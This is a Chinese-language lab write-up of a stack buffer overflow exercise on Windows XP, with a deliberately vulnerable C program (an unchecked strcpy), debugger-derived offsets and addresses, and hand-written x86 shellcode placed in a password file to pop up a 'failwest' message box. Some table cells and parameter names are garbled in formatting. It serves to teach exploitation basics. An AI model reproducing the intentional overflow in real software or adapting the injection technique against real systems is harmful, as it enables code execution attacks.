一、代码植入原理
在修改函数返回地址的实验中,我们让函数返回到main函数的验证通过分支处。在本次实验中,我们将在buffer中包含我们自己想要执行的代码,然后通过返回地址让程序跳转到buffer中去执行我们写入的代码。示意图如下:
二、实验清单
1、实验环境
win xp、visual c++ 6.0、OllyDbg、Dependency Walker、UltraEdit
2、实验代码
#include <stdio.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//overflowed here!
return authenticated;
}
void main()
{
int valid_flag=0;
FILE *file;
char password[1024];
LoadLibrary("user32.dll");//prepare for messagebox
file=fopen("C:\\password.txt","rw+");
if (file==NULL)
{
exit(0);
}
fscanf(file,"%s",password);
valid_flag=verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("congratulation! You have passed the verification!\n");
}
fclose(file);
}
三、实验目的及思路
1、实验目的
在password.txt中植入二进制机器码,在password.txt攻击成功时,在桌面弹出一个消息框显示“failwest”字样。
2、实验思路
(1)分析并调试漏洞程序,获得返回地址;
(2)获得buffer的起始地址,并将其写入password.txt相应的偏移处,用来替换返回地址;
(3)在password.txt中写入可执行的机器代码,用来调用API弹出一个消息框。
四、实验步骤
1、分析:
buffer[44]占有44字节,authenticated需要4字节,前栈帧需要4字节,返回地址需要4字节,如果在password.txt中写入11组“4321”将填充满整个buffer,且第45个隐藏的截断符null将冲掉authenticated中低字节的1,从而突破密码验证的限制。下一步我们将验证分析。
2、在路径为“C:\\password.txt”的password.txt文件中写入11组“4321”,并保存,运行上述代码生成的PE文件;
3、 用OllyDbg加载上述代码生成的PE文件,字符串复制函数strcmp过后的栈状况如下;
动态调试的结果证明了前边分析的正确性。从此次调试中,我们可以得到以下信息:
(1)buffer的起始地址为0x0012FAF0;
(2)password.txt的第53~56字符的ASCII码值将写入栈帧中的返回地址,成为函数返回后执行的指令地址。
4、在password.txt中植入我们想要执行的机器代码;
(1)让程序弹出消息框只需要调用windows的API函数MessageBox。MSDN对这个函数的解释如下:
int MessageBox(
HWND 错误!超级链接引用无效。,//handle to owner windows
LPCTSTR 错误!超级链接引用无效。,//text in message box
LPCTSTR 错误!超级链接引用无效。,//message box title
UINT 错误!超级链接引用无效。//message box style
)
- hWnd[in] 消息框所属窗口的句柄,如果为null,消息框则不属于任何窗口;
- IpTex[in] 字符串指针,所指字符串会在消息框中显示;
- IpCaption[in] 字符串指针,所指字符串将成为消息框的标题;
- uType[in] 消息框的风格(单按钮、双按钮等),NULL代表默认风格。
注:其实系统中并不存在真正的messagebox函数,对messagebox这类API的调用最终将由系统按照参数中字符串的类型选择“A”类函数(ASCII)或者'W'类函数(UNICODE)调用。因此,我们在汇编语言中调用的函数应该是MessageBoxA。
(2)用汇编语言调用MessageBoxA需要三个步骤:
- 装载动态链接库user32.dll。MessageBoxA是动态链接库user32.dll的导出函数。虽然大多数有图形化界面的程序都已经装载了这个库,但是我们用来实验的consol版并没有默认加载它。故我们在代码中人工加载了这个库;
- 在汇编语言中调用这个函数需要知道其的入口地址;
- 在调用前需要向栈中按从右到左的顺序压入MessageBoxA的四个参数。
(3)MessageBoxA的入口参数可以通过user32.dll在系统中加载的基址和MessageBoxA在库中的偏移地址相加得到。可以用工具“dependence walker”获得这些信息;
具体做法:运行dependence walker,随便拖拽一个有图形界面的PE文件进去,在左侧找到并选中user32.dll,右侧会列出这个库文件的所有导出函数及偏移地址,下栏会列出PE文件用到的所有库的基地址。
(4)编写函数调用的汇编代码(填充到buffer中);
机器代码(16进制) | 汇编指令 | 注释 |
33DB XOR | EBX,EBX | 压入NULL结尾的“failwest”字符串。之所以用EBX清零后入栈作为字符串的截断符,是为了避免“PUSH 0”中的NULL,否则植入的机器码会被strcpy函数截断 |
53 PU | SH EBX | |
6877657374 PU | SH 74736577 | |
686661696C PU | SH 6C696166 | |
8BC4 MOV | EAX,ESP | EAX这里是字符串指针 |
53 PU | SH EBX | 4个参数按照从右到左的顺序入栈,分别为(0,failwest,failwest,0) 消息框为默认风格,文本区和标题都是failwest“” |
50 PU | SH EAX | |
50 PU | SH EAX | |
53 PU | SH EBX | |
B8EA07D577 | MOV EAX,0x77D507EA | 调用MessageBoxA。注意:不同的机器函数入口可能不同。 |
FFDO C | ALL EAX |
(6)将上述代码以16进制形式逐字写入password.txt文件中,第53~56字符填入buffer的起始地址0x0012FAF0,其余字节用0x90(nop指令)填充;
(7)运行程序:
成功弹出我们植入的代码,但是单击“OK”按钮后,程序会崩溃;
这是因为MessageBoxA调用的代码执行完成后,我们并没有写用于安全退出的代码。